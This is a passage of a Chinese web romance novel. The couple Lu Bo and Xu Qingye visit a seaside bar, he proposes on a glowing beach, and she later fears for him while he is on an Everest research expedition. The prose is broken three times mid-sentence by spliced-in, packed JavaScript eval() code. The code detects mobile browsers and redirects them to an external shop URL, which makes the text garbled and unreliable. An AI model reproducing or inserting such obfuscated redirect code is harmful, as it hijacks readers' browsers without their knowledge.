这里是路薄大学室友的家乡,他毕业那年曾经到临海市住过两天,虽然大多时候还是需要对课题组的工作随时待命,但从尹虹那里听到“海边”这个模糊的提议的时候,他脑子里第一个画面就是这里的大海。 也许不如其他更有名的海滨城市繁华,这里的大海也不是那么波澜壮阔,但他有一点小小的私心。 他想带许清也慢慢走完他去过的地方,也想去完许清也这些年去过的地方。 分开的时间里走过的路,在另一个时空走过,大概就像从未分开过一样吧? 窗边伸手感受着阳光的女孩不知道他此刻的想法,她趴在窗台边,一双亮晶晶的眼眸望着辽远处海天相接的地方。 那是一片更为风平浪静的海域。 他心中一动,脚步微动,女孩却已经收回视线,往柔软的床铺上一倒。 这里的天气意外地比江城更干燥一点,房间里没有潮湿的气息,温热的阳光透过窗户照进房间的木制地板上,气温有点催人困倦。 “走吧。” 路薄低头轻笑一瞬,走到窗边,朝许清也伸手。 许清也握住男人的大手,一旦躺下,全身上下的困倦因子都在作怪,晃着他的手慢悠悠问道: “入住全都办完了吗?” “嗯,全都办完了。” “那行李呢,都丢在客厅吗?” “都放在沙发边。” “那……” 许清也费力想着各种没营养的话题,她问一句,路薄就答一句,只是回答她问的,仍由她轻轻晃着两人相牵的手。 知道她只是想拖延时间,就像读书时候早起赖床,总想再延一个五分钟。 不过路薄还是没有戳穿她,耐心满分地站在床边看着她,目光专注而温柔。 许清也被他专注认真的目光弄得有点不好意思,朝男人举起另一只手,若无其事地道: “那我们出发吧!” 男人会意,拉着她坐起身。 “要不要再休息一会儿?” 许清也又忍不住打了个哈欠,含着泪花的样子被路薄看在眼中。 他忽然觉得在这抱着她睡一会儿也很好,一边遂着女孩的心意拉她起身,一边问。 短促的哈欠好像把困倦一块带走了,许清也连忙摆了摆手表示拒绝。 他们一会儿的目的地是民宿隔壁那条街刚开张的酒吧“甜氧”。 听老板说隔壁街前阵子刚开张了一间每天酒品菜单都不同的音乐酒吧,许清也开始还没事那么兴趣,知道听见酒吧的名字是“甜氧”,瞬间改变了心意,要拉着路薄去坐坐。 开玩笑,前阵子她还看见anoxia官方微博说巡演前大家要休假一段时间。 谁不知道“甜氧”的老板是anoxia主唱李时缺的女朋友? 只要休假,必然是在各地“甜氧”偶遇李时缺空降表演的好时机。既然就住在附近,又有小道消息说今晚anoxia有人会空降表演,哪有不去碰一碰的道理。 许清也至今还后悔在丰城那次没能凑到好位置,浪费了偶遇live场的好机会。 看清墙上老式挂钟指针的方向,她急匆匆拉着路薄道: “休息就算了,看样子我们得赶紧出门了。” “得提早去占个好位置,不然一会儿又只能坐角落了。” “你上次坐的位置很偏吗?” 路薄想起那次在甜氧门口的偶遇,两人的位置都在角落,难怪一直没能发现她也在。 许清也点点头,咬牙分析道: “所以这次一定要坐个好位置,万一能碰上呢?” ** 下午四点,海边的落日还没开始它金波万丈的表演,甜氧才开门不久,已经满满坐满了客人。 许清也自己点了一杯玛格丽特,惬意地调着酒杯。 酒吧里的布置跟丰城那边的很不同,添加了当地的特色,有不少贝类工艺品装饰。墙上挂着的唱片也多了不少海边特色的元素。 因为是海边度假,店里的其他客人大多穿着闲散放松的沙滩裤和白T恤,再不济也是运动装居多。 路薄出门前换了一身休闲类的正装,款式看起来有点熟悉,许清也坐在他对面想了半天才想起来大概是跟他们临证那天穿的西装一个牌子。 这一身很衬他的气质,只是不止跟这里的风格有点不搭,跟她现在身上这件临时买的波西米亚长裙也有不搭配。 台上驻场的民谣歌手已经抱着吉他开始了暖场表演。 许清也抬头去看聚光灯背后的大屏。 男人坐在对面,正坐地直直盯着她,对台上的音乐显出些漠不关心的意思。 “绝对不行。” 许清也以为他是再看自己手里的鸡尾酒,蹙眉把桌上的养乐多往他的方向推了推。 “你酒量太差了,只能喝这个。” 路薄没想到她会有这个动作,被她推瓶子的动作逗笑了,听话地伸手打开养乐多盖子,随意喝了一口。 他对酒精并没有瘾,对这些调制饮料也是一样。 “甜氧”除了是酒吧,还提供简单的晚餐。西餐、意面,甚至煲仔饭,都是有可能的,只不过具体每天提供什么餐点,还要看当天采购的食材,和老板的心情。 两人简单在“甜氧”吃了晚饭,许清也不死心地等到了晚上八点多,还是没有见到anoxia任何人的身影。 显然,周边坐着的客人大多跟她一样,都还不死心地等着。 天暗下来后,“甜氧”的灯光也更昏暗下来。 许清也撑着脑袋靠在桌边,一杯玛格丽特见底,其实已经有点脸热了。 隔壁桌的几个女孩似乎是anoxia的粉丝,正失望地打算离开。 路薄抬手看了一眼腕表的时间,手心揉了揉女孩的发顶,低声问她: “时间不早了,我们去海边走走怎么样?” 柔软的发丝蹭过他的手心。 “我不要。” 许清也摇了摇头,有点晕乎乎地指着舞台角落一架低调的钢琴道: “这么贵的琴,肯定有主人的。今天驻演的人里还没有用钢琴的,说不定anoxia的谁会压轴呢?” 她看起来颇有信心地分析了几句,最后趴在桌边喃喃起来: “肯定能等到的,我的运气总不会又那么差吧?” 女孩隐约有点失落的目光落在路薄眼中,他抿唇推开她手边的酒杯,也将目光转向台上那架被薄布罩在角落里的钢琴。 灯光总是容易模糊人对时间的认知。 趴在灯光昏暗的桌上,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313022|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清也对时间的概念变得迟钝,就这么抿着路薄的养乐多等到了快十点。 期间男人说要出去借个电话,离开了一小会儿。 指针指向十点。 台上的民谣歌手结束了最后一曲,领班忽然上台拍了拍话筒。 “各位朋友,今天‘甜氧’的音乐表演马上就要结束了。接下来的时间,有一位先生跟我们说想要给他的女伴弹一首曲子。” 台下忽然沸腾起来,许清也则是出神地盯着那架角落的钢琴。 领班一看就知道这是引起误会了,连忙解释: “虽然那位先生不是anoxia的成员,但我相信这首曲子也一定是蕴含着深刻温柔的爱意。” “那就,让我们一起听完今天的最后一首曲子吧。” 台下的人群虽然失望,但还是颇为捧场地响起热烈的掌声,掌声中还偶尔参杂着几声尖锐刺激的口哨声,将气氛推向了高潮。 许清也捧着脸看着舞台的方向,还没注意到身边的男人悄悄站起了身,绕到了舞台边。 舞台边灯光昏暗,她一眼就认出了路薄的背影。 男人的身影清瘦而挺拔,很快迈步走上舞台。 他好像先是低声跟调度音响灯光的工作人员说了些什么,台前的灯光又忽然暗了半个度,尤其是放着钢琴的那块角落。 男人长腿窄腰,与海岛风格格格不入的休闲西装和忖地勾勒着他清瘦而不失力量感的身材,墨发宽肩,灯光在漆黑的背板上勾勒出他优越的侧脸线条,反而显得他更像一位从中世纪音乐厅中走出来的绅士。 暖橙色的灯光骤然变化成冷白色,光影摇晃间,就像是月下粼粼的水波,流淌在舞台中央。 绒布上覆着一层薄灰,他掀开琴面上的布,推开琴盖坐下。 “送给今晚,还有她。” 他薄唇靠在话筒边,只说了短短的几个字。 白皙修长的指尖顺着琴键而下,琴声倾泻而下。短促的琴音跳跃间勾勒出一片空灵的海面。 男人腕表反射的银光有片刻划过他精致冷硬的眉目。 许清也随着他指尖的音乐沉入了一片安静的海域。 风平无波,只有交界的月光冷冷洒在海面上,水波粼粼翻涌,像是搅碎了一池星星在其中。 …… 一曲终了。 酒吧里响起一阵比刚才更为热烈真挚的掌声。 台上的男人忽然朝她的方向看过来,短暂的一眼,便鞠躬离开。 被他如月光般温柔的目光瞄准的那一刻,许清也心跳一窒,慌乱中低头去抿早就空空如也的那杯玛格丽特。 一股汹涌的潮汐冲卷着她的心岸。 这是她的男人。 许清也有点脸热,同时也有点与有容焉的自豪。 掌声中,她好像听见靠窗边几桌的女孩小声地惊叹道: “真的好帅啊!完全就像中世纪的王子有没有?” 她隔着背椅默默赞同的点头。 “不过,你们有没有觉得他有点眼熟?” 有女生忽然开口。 “对!他的眼睛特别眼熟。像那个……就那个前阵子才出了绯闻的男明星……” “路远?对对对,就是他!” 许清也的视线移向舞台另一边,已经有人举着手机似乎在往这边拍。许多人议论的声音越来越大,灯光的错觉好像让大家把路薄错认成了路远,场面隐隐有点失控的趋势。 昏暗中,忽然有人握住她的手腕,拉着她起身往酒吧门口跑。 牵一发而动全身,气氛诡异的和平被打破,身后原本举着手机的几个男女孩也起身像是要追出来。 月光照在这条海边小丘的街道上,许清也被拉着一路跑出很远。 男人的指尖向下,握住她手心。食指相扣,掌心在微冷的海风中交换温度,无端让她生出一股私奔的错觉。 许清也抬头看向路薄,无意撞上了他正好垂眸看过来的视线。 四目相接。 “怎么办?” 男人牵动唇角扯出一抹尴尬又抱歉的笑,委屈道: “我好像把事情给搞砸了。” 68. I do 身后的手电灯光晃过她眼前,许清也抬手挡住光线,拉着他继续往前跑。 夜风吹起她的别在耳后的碎发,路灯冷白的照在身后,映出两人略显狼狈的影子。路薄偏头看着她的侧脸,脚步不自觉地慢了两拍。 “跑快点啊!” 许清也察觉到他慢下来的脚步,担心被后面人给追上,提示地摇了摇他的手。 海边小丘的街道间界限不是那么分明,这里三步一个岔口,五步一个小巷,要躲开后面的的人并不难。 不过相应地,这里几乎遍地都是上下坡,才跑了不久,许清也已经喘着粗气,有点跑不动了。 好像看出来她在担心什么,男人憋着唇角的笑,故意无所谓道: “被追上就被追上好了,反正我们也不是他们要拍的人。” 话是这么说,他还是配合地加快了脚步。 这么一来,许清也反而有点跟不上他了。 勉强拖着酸软的步子跟着,她忍不住抱怨道: “娱乐八卦才不管你到底是不是路远呢。” “所以一开始干嘛要心虚地拉着我跑啊!” 实在跟不上路薄的步子,许清也挣开他的手,揉了揉快要抽筋的小腿,还不忘防备地回头看。 本来也没有几个人真的追出来,跑了这一路,身后已经不见人影了。 她这才舒了口气,一回头,面前忽然出现男人宽厚的肩背。 “你干嘛?” 许清也偷偷戳着他的肩,抿着上扬的嘴角。 “想带你去个地方,才拉着你跑。没想到他们真的会追出来。” 路薄故作松口气的样子,反手拉着她的手腕往前轻拉。 许清也不防被他轻轻一拉,倒在他背上。不过她没想过真的要他背,两个人一整天都是一样的疲惫,硬要论的话路薄开车过来大概还要更累一点。 “那你带路就好了。” 她还打算扶着路薄的肩站好,话才出口,就被男人托着她大腿忽然起身的动作吓了一跳。 “乖乖让我背一会儿吧。” 他幼稚地掂了掂背上的女孩,察觉到她揽紧他脖子的动作,才忽然朝着前面的路冲了出去。 “再不出发就真的要来不及喽!” 许清也趴在他背上,酒精的作用后知后觉把困意扩散开,最后还是忍不住迷迷糊糊睡着了。 揉着眼睛醒来的时候,路薄正背着她沿着漫长的海滩慢慢往前走。 “是要来看海吗?” 她还记得睡着前路薄神神秘秘地说要带她去个地方,海风带着潮湿的气息吹到耳边,许清也趴在他肩上一转头,就被眼前的景色惊地愣住了。 海浪像是呼吸般有节律地拍打着沙岸。 星星点点的蓝色荧光藏在海岸线的边缘,不断冲刷着岸边矮小的岩石。 路薄停下了脚步,低声道: “你摸摸我的口袋。” 就像无数碎钻的光芒洒落在大海中,在这片安静地海域无声地诉说着与这个城市无关的,辽远的大海的故事。 许清也一秒也挪不开视线,照着他话伸手,却被男人紧张兮兮地叫停。 他小心翼翼地把人从背上放下来,才拉着许清也的手去摸他另一边的西装口袋。 “什么东西啊?神神秘秘的……” 心跳如同鼓,许清也隐约猜到他要说什么,直到摸出一小块硬邦邦的东西,摊开手心,愣在了原地。 只有一块不大不小的石头。 很普通,就是那种在这片海滩上随处可见的石子。 路薄弯唇,蹲下身随手捡起一块相似的石头,退后半步蓄力往远处的海里扔。 石子扑通一声落入海水中。 从落水处激起一条蓝色的荧光,就像是一束蓝色的烟花,绽放在漆黑的水中。 她摸索了几秒手中的石头,学着路薄的样子把石头丢了出去。 许清也的力气比他小很多,激起的不像是一串烟花,反而像是一簇簇幽蓝的火,热烈地燃烧着。 不够完美的反应激起了她短暂的好胜心,许清也接着蹲下身去捡石头,认真地退后两步,不死心地尝试了好几遍。 又一次捡起石头起身,路薄站在幽蓝的海岸线边,挡住了她手上石头的目的地。 男人站在一片碎钻般的蓝波中,珍重地从口袋里掏出一个黑色绒的小盒子。 “路薄,你……你站在那干嘛。” 许清也第一次发现自己原来嘴这么笨,明明一眼就看出来他这是在干什么,还是傻愣愣地明知故问。 好在路薄这次没有配合地回答她的问题。 他只是低头低笑了一声,然后用他那双映着蓝眼泪的眼睛专注地望向她。 “还好赶上了。” 起伏的潮声模糊了他的声音,许清也皱眉问道: “什么?” 想听清他的声音,许清也下意识朝着海滩走了几步。 “还好赶上了,这片想送给你的星空。” 他提高了声音,站在一片蔚蓝中间,就像亿万星空中最闪烁的那颗星星。 女孩的波西米亚长裙被海风吹起,像是一簇彩色的火焰,跳动在海岸边。 路薄打开了那颗黑色绒的小盒子,单膝跪在潮汐间,此刻他抬头,仰望着他生命中的火焰。 “有很多颗星星想要送给你。” 男人取出盒子里那颗闪着碎光的戒指,一颗多面切割成星状的钻石镶在银质的戒身上,远远看去就像一朵透明盛放的玫瑰。 “这一颗,你愿意收下吗?” 许清也站在海岸边。 海浪拍打在脚下,她原本以为自己不是那种会掉眼泪的人,直到视线逐渐被含在眼眶之中的泪水模糊,她才刻意偏头抹掉没来得及落下的泪。 心里不合时宜地感谢路薄把地点选在了海边。 眼泪掉到大海中连味道都一模一样,漆黑的夜空也掩盖了她自觉丢脸的通红的眼眶。 于是许清也学着他的样子提高声线,双手靠在脸侧做喇叭状,大声重复道: “路薄,你站在那干嘛?” “快过来给我戴上呀!” 在男人愣怔的目光中,许清也蹬掉帆布鞋,一步步朝他的方向走去。 她也许不知道,在许多年前,在许清也的目光还总是看向星空的时候,路薄就这么想过: 总有一天,他会站在这篇星空中最耀眼的地方,等着她向自己走来。 ** “后来呢后来呢?” “你俩有没有度过比这个更火热的一晚?” 屏幕另一头的迟枣枣穿着厚实的滑雪服,说话间都冒着白雾,还不忘挤眉弄眼地坏笑着追问。 “你猜?” 许清也盘腿坐在沙发上,把视讯中的手机架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327588|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,挑眉间语气轻松。 路薄把保鲜膜包得太严实了,她想要拆一盒子菠萝干吃,还忙活了半天。 好不容易拆开了,一口下去简直酸的要命。 “唔……酸成这样简直不是人类吃的啊……” 她一边嫌弃一边又尝了一口,无名指上工艺精致的大钻戒简直要闪瞎迟枣枣的眼。 “看你这语气…” “不是吧,气氛都到这份上了,那跟蜜月旅行有什么两样啊?你俩居然忍得住?” “还浪费我这五十欧一天的滑雪费在这听你秀!” 迟枣枣怒其不争地叹了口气,小声嘟囔道: “就你俩这样,我啥时候才能当上干妈啊?” 说到这份上,许清也回想起那天晚上的事,也觉得有点后悔。 怎么等他洗个澡的功夫,自己就先睡着了呢? 不过也都怪路薄那么明确地拒绝她的撒娇,死都不念故事哄她睡。要不然有个期待,也不会那么容易睡着才对。 “你放宽心好了,”想到路薄出差前几天那股不知疲倦样子,许清也胳膊一软,红着脸估摸着多来几天她还真招架不住了。 “倒是你,什么时候才回国啊?” 迟枣枣原本只是说出国散散心,谁知道一去就爱上了滑雪,死活不肯回国。 这阵子还在瑞士找了份教汉语的兼职,说是要再玩一阵子才回来。 许清也看她一点回国的意思也没有,忍不住劝道: “枣枣,迟阿姨很担心你。” 画面忽然一黑,看样子像是手机栽进了雪里。 断断续续的声音从视频另一边传来: “什么?小也……你说什么?” “小也,我这边信号不好,我就先挂了哈!” 视讯嘟地一声断开,手机页面返回到两人的聊天页。 一听就又是迟枣枣的小把戏。 每次聊的好好的,只要一说起回国的事情,她就开始假装网络问题,不出三句话必定挂断电话。 许清也叹了口气,有点担心她。 心不在焉地咬了口手里的菠萝干,果酸的味道冲击着味蕾,她被酸的一龇牙,又想起出差前还骗她说新做的菠萝干很甜的男人。 恶劣这点真的是隔了十年六年骨子里也不变。 手机一震,她抬头看去,还是迟枣枣的讯息。 【怎么样,最近跟你家那位还是没联系吗?】 许清也拍了拍手,拿起手机打字。 【还能怎么样,工作性质嘛。】 【听说路薄这趟出差至少半年,这才过了两个月就联系不上了,剩下的几个月也都不能联系吗?】 …… 许清也打字的指尖顿了顿,才慢慢地回复了几个字。 【没办法,我鼓动的,当然要第一个支持他的工作了。】 迟枣枣那边显示了很久的输入中,看起来一肚子话要说,不过最后还是只发过来短短两句。 【你就心大吧。】 【你老公还是有几分姿色的,看看这一波斩获了多少迷妹。】 许清也还没点开她甩过来的链接,已经能脑部出迟枣枣说这话的神情了。 估计末尾还要啧啧两声。 指尖滑下。 链接里的帖子标题赫然写着几个大字: “我那被地质事业耽误美貌的男神!” 69. 摇摇欲坠 “观众朋友们下午好!” “我们现在所处的位置是喜马拉雅山脉海拔约为4000米的科考营地。一小时后,我们的探测科考队将继续出发,朝着珠穆朗玛峰更高海拔的环境进发……” 画面中的记者介绍完了基本情况,就从她站定的位置开始为观众介绍营地的布置。 从这里开始,科考队的成员将会分成两部分。 接下来负责往珠峰更高处探测的队员们将继续前进。 而负责后方数据的团队成员们将留在这个营地,实时为前方的队员们提供数据和其他方面的援助保障。 记者介绍完了负责天气检测的帐篷,镜头跟着她移动,要绕过营地中间的一小块空地,去医务保障的帐篷进行采访。 画面摇晃过空地边帐篷的一角,露出男人清瘦的侧影。 只有短短几秒钟模糊的画面,男人一身特制登山服坐在帐篷边,对着膝上落笔一半的牛皮本皱眉。 他本就冷白的肤色在雪境显得更是几乎接近透明,也许是因为低温,他唇上的血色并不算充足。 眉弓、鼻骨,侧影处处线条优越。 大雪落在他鸦黑的睫毛上,冷峻而矜贵。 像是异世界雪域的骑士。 “咔哒——” 清脆的鼠标点击声让网页上的视频按下暂停键。 石宇啧啧两声躺倒在单薄的户外靠椅上,举起手机拍了一张屏幕上男人模糊的画面,摇着头感慨: “啧啧,我就说路哥这脸。” “在互联网那是不鸣则已,一鸣惊人啊。” 忽然被人用手肘撞了撞手臂,石宇一转头,差点跟凑过来看他手机屏幕的同事大哥撞了个脑瓜响。 “你有话说话啊,没事凑这么近干嘛?” 石宇被同事忽然的靠近吓了一跳,瞬间弹开,嫌弃道。 被他嫌弃了几句,同事大哥倒也没有生气,笑嘻嘻地拍拍他的肩膀,滑动电脑屏幕看起视频下面的评论来。 “小石,你跟路领队一个研究院调过来的,是不是还挺熟的?” 石宇立刻防备地反问: “怎么了,问这个干嘛?” 虽然路薄说他没那么大能耐左右项目人员的调配,但石宇知道,如果不是因为考虑到跟路薄配合更默契的关系,这次后方检测数据的机会也轮不到他一个江城研究院的新人。 所以他一直告诉自己,不能帮上路薄,至少也不能给他拖后腿。 同事大哥看他面露防备,知道他是误会了,摆手道: “唉,也没什么事。” “就是,你真不觉得路领队长得跟一个女明星很像吗?” “谁?” 这话在石宇听来像是在说路薄长得女气,他不怎么积极地随口问了句。 “蒋玉琳,影视双栖影后啊,那可是大满贯影后!” 同事翻着评论,忽然顿住指着一条高赞评论道: “你看,我就说不止我一个人这么觉得。” “我也没别的心思,就想着路领队跟蒋影后要真是亲戚,能不能托他要个签名照。”同事磨磨蹭蹭说到这,一把年纪还跟个小男孩似地红了脸,补充道: “蒋影后是我十几年的女神了。” 石宇可不关心他女神不女神的,觉得找亲戚要签名照这事也怪麻烦的,照路薄的性格说不定当面个拒绝了,到时候更得罪人。 于是他含糊道: “我没听路哥说过这些。” “人有相似嘛,巧合、巧合而已。” 当然,发觉这问题的人不止同事大哥一个。 迟枣枣一个电话杀过来的时候,许清也还在整理第一册天气画册的定稿。 历尽几个月的努力,第一册的画册终于大概完成定稿了。 许清也之前在地理杂志工作,大多插画的风格还是偏严肃华丽的,这还是第一次尝试试这么多稿的卡通画风。 电子版的一部分她提前发在了微博上,反响很不错。 为了尽快定稿,这段时间她几乎是闭关工作。 忙起来了,除了偶尔撸着芝士柔软的毛发的时候,许清也几乎忘了路薄这个人,更别说是联系不上他的第几天了。 迟枣枣的电话恰好在饭点打来。 许清也的肚子和手机铃声同时响起,她把吐司放进面包机,一边把手机夹在耳边接通电话。 “小也,我问你件事,你一定要如实回答我。” 还没开口,就听到电话那头迟枣枣凝重的声音。 她瞬间皱了眉,冷静地道: “你说。” “蒋影后……是不是路薄家亲戚啊?”迟枣枣拉长了声音,不死心地又问了一遍。 许清也瞬间无语。 “母子关系,应该算在亲戚关系里吧。” 她抹着果酱,松了口气回答。 迟枣枣学生时代还粉过蒋玉琳,这个许清也知道,所以早有预料地掐断了电话,切断了迟枣枣远在大洋另一边的抓狂声。 大概是接受不了女神生出了路远这么个儿子。 对付的中饭才咬了一口,许清也随意翻着手机,忽然从手机弹窗的应用消息里捕捉到一个熟悉的词汇。 地质男神? 点开微博热搜,果不其然,那条爆贴的标题赫然挂在前几。 许清也忍不住点开那段视频,仔细看起来。 视频里的男人好像瘦了点,蹙眉坐在帐篷边,翻着膝上的牛皮本。 许清也眼尖地看见他左手指尖不正常的通红。 那看起来分明是冻伤的样子。 她咬着三明治翻动评论。 视频底下的评论都在心疼路薄皱眉的样子,猜测他是不是考察工作遇到了什么困难。 喊男神的也就罢了,还有一水喊老公的。 许清也看着看着,笑容就淡了。 “就没有夸点别的吗?” 怎么看还是有点吃味,她飞快地刷着千篇一律的评论。 虽然知道大多是善意的玩笑,可许清也还是有点不舒服。既生气他们只能看见路薄那张脸,却看不到他的专业能力和工作态度,又不由自主的有点心里泛酸。 那种感觉,就好像……一颗本来只属于她的萤石,忽然成了大家的星星。 没翻几下,一条在夸夸中显得有些明显的长评吸引了她的视线。 【你们喊老公的都消停点吧,人家甜着呢。】 许清也放下三明治,点开评论里附的图。 那是一张放大再放大的视频截图。 虽然原画面已经模糊到不成样子,但不知道他们用了什么修复办法,竟然能勉强看清路薄手中笔记本上的字迹—— 那页牛皮纸上赫然夹着一个年轻女孩与路薄的合影。而一旁粉色的笔迹明晃晃写着: 在珠峰的第一天,想你。 …… 等许清也回过神来的时候,眼泪已经垂直从眼眶滴落在paid屏幕上。 那张照片,几乎只能看清楚模糊的人影和大致的色块。 但是仅凭这些,她也一眼就认出了那张照片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422902|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那是他们领结婚证那天在丰城的儿童公园拍的。 芝士似乎察觉到女主人低落的情绪,喵呜一声跳上沙发,蹭在许清也腿上,一双绿宝石般的圆眼睛亮晶晶地看着她。 许清也忍不住扑哧地破涕为笑。 她顺着芝士光泽漂亮的背脊顺着它有些微长的毛发,叹了口气: “你说,路薄有没有好好涂药?” “不对,他在高原上,那边有药吗?” 许清也蹙着眉,也开始当起了从前嗤之以鼻的恋爱中的“笨女人”。 她压根想不起来考察队那么大的项目,在雪山,这种冻伤的药膏怎么可能不预先准备呢? 更何况,采访都是预录的,这时候或许路薄手指上的冻伤都好了也不一定。 心不在焉地看了半下午稿子,临近日暮,许清也还是忍不住拨通了石宇的电话。 号码是出发前她缠着路薄要的,没想到这时候派上了用场。 路薄的手机已经关机快两个月了,石宇是跟他一块去的,许清也本来也没打算打通电话,只是抱着试一试的心态,没想到电话嘟了两声,那边就接了起来。 “喂?” 那边的男声听起来像是刻意压低的,带着点沙哑的意思。 “喂,石宇。”许清也理智回笼片刻,觉得自己似乎有点小题大作,但心里终究有点空落落的不安感。 “我是许清也。” 许清也没告诉过他自己的号码,但那边好像早就认出她似的,先一步叫出了“嫂子”这个称呼。 “嫂子,这个点,你有什么事儿吗?” 电话那头的声音里带了点风声,看样子是避出帐篷来接电话了。 “哦……其实也没什么大事,”许清也纠结了一秒,还是问道,“我只是想问问他…路薄手指上的冻伤涂过药了吗?” “路哥联系你了吗?!” 石宇忽然语气激动起来,紧跟着追问道: “是什么时候联系你的?他的声音听起来怎么样?” 许清也被他忽然激动的态度吓了一跳,心脏不由自主地随着他一个又一个的问题开始狂跳。 一个不愿意去想的猜测在脑中不断放大,如同一道摇摇欲坠的冰锥,悬在心脏顶端。 她收回放在芝士背上的手,冷下声音问道: “石宇,你是不是在瞒我什么?” “……” 那头不断追问的年轻人忽然像被冷水淋头泼下,明白过来什么。 他不说话,两人的对话也陷入短暂的沉默中。 “他没有联系我。” 许清也不知道那边究竟出了什么事,但凭石宇刚才的态度,路薄有没有联系过她这件事一定很重要。 她先一步开口打破沉默,泪水有一瞬间模糊了眼眶,又被她忍住鼻酸憋了回去。 她没有哭出来,电话另一头却像是被她简短的一句话击碎了。 年轻的男孩蹲在营地后的雪地中,忍不住隐忍地哭了起来。 许清也心尖一慌,声音却越发强硬地强调道: “石宇,我是路薄的妻子。” 电话另一边是高原冷厉的风雪声。 强风吹在她心脏上方的冰锥上,尖利剔透的冰刺缺了口,摇摇欲坠。 她最终忍住哭腔,刚才强硬的声音却带上了恳求。 “石宇,我请求你告诉我路薄到底出了什么事。” “求你……不管是什么情况,都一定要告诉我……” 这一刻,她只以一个普通妻子的身份,恳求。 70. 迷途 海拔7028m,珠峰一号营地。 无际的白蔓延在目及之处。岩石被冰雪遮蔽,只偶尔露出斑驳的灰,漫长的白色好像连绵着长云,模糊了山巅与天空的边际。 几颗橙色帐篷边,两个身穿特制登山服的科考队员正清点着剩下的氧气瓶,时不时抬头望向粗绳钉过的雪面留下的钉坑。 这里是登顶前的最后一站临时营地,钉坑一路向着峰顶而进。 “扎西多吉,你说他们去的时间是不是有点太久了?” 说话的青年姓张,是研究气象方面的专家。 能走到这里,科考队的每个人都付出了难以想象的努力,他原本也是要登顶的,可惜在到达一号营地前不小心严重冻伤了手指,即便及时处理了高高起泡肿起的食指,身体状况也不适合继续登顶了。 扎西是科考队的当地向导之一,对这里的地形熟悉,也跟着留下来保障营地。 “在珠峰,什么都可能延误进程的。” 扎西摇了摇头,眼神却跟着望向山顶的方向。 今天的风不算小。 在珠峰,即便是一点小风都可能是致命的事情。 科考队登顶的方向正迎面对着风,众人跟着牵绳上攀的时候,本来就只有地表氧气含量41%更低的氧气含量还被风向阻挡,加大了攀登中的缺氧危险。 好在目前为止,风量都在昨天预测的安全阈值中。 时间一分一秒过去。 渺茫的白色中始终一片空荡,深深的钉痕也被掩埋些许,有人曾经过的痕迹越来越淡,淡得像是一场经年的错觉。 为了安全起见,科考队一共带了两只卫星电话。 此刻一只在领队路薄身上,另一只则在一号营地这边。 比原定时间已经过去许久,张研究员的手几乎要拨通卫星电话,耳边忽然听见扎西激动的声音。 “在那边,他们在那边!” 顺着他手指的方向望去,冰冷陡峭的雪山壁上远远出现几个橙黄色的影子。 一个接着一个,攀着粗绳,背包看起来比来时六七十斤的装备更满些。 看样子,虽然狼狈波折,却圆满完成了任务。 营地的两人终于松了口气。 “路领队!” 下山的队员们相继放下行李暂歇,张研究员迎上几步快步到路薄面前。 “怎么样?山顶的情况不太适合采样吗?” 他作为团队给出最后气象预测意见的人,一直对今天稍大的风力抱着歉意。 “山风的确有些阻碍。” 路薄走到帐篷前,放下背上的装备,从登山包中取出一袋采样袋,一刻不停地检查着标记的完整性。 “不过这不是比预计时间长的主要原因。” 路薄不是绕弯子安慰人的性格,他只不过实话实说,耽误时间的主因的确不是天气。 “海报太高了,发电机出了点故障。”路薄蹙眉检查着冰芯,“幸运的是后来解决了,只是耽误了点时间而已。” 张研究员一直提着颗心,听到任务顺利,才终于放下些心来。 这次科考任务有三项,积雪雷达测厚,雪山采集取样,科考队还要负责在峰顶安装气象设备。 所以每个人要负担的装备重量都不在少数。 张研究员没能按计划登顶,自然也就无形中增加了其他人的负重。 几句话的功夫,路薄已经检查完了自己背包中的采样,抬头间无意看见张研究员眼中自责遗憾的神色。 都走到这里了,科考队大概没有一位队员不想登顶的。 因为冻伤这样经验丰富者不该犯的错误而错失机会,还拖累了队员的负重情况,大概任谁都会露出这样的神色。 是很正常的低落情绪。 他只淡淡瞥过,没有过多停留视线。 视线撇开的一霎那,面前却忽然浮现女孩皱着眉头压着耐心劝导的脸。 假如许清也看到眼前的情况,大约又要嘀咕他: “真是没人情味的家伙!” 接近五个月没能联系她,路薄几乎不敢在登山途中想起她。 雪山的科考情况瞬息万变,一点点分神都可能错过重要的判断时机。他作为领队,要负担的不是一个人的性命、或是一个学科项目的研究希望。 他答应过许清也要好好地回去,山顶要去,也绝不能对她失约。 想起她,男人占着风雪的眉眼都柔和下来,雪水被体温融化,沾湿了他的剑眉,显得色彩更深。 “张研究员。” 路薄忽然转了念头,束着登山包问: “手,情况好点了吗?” 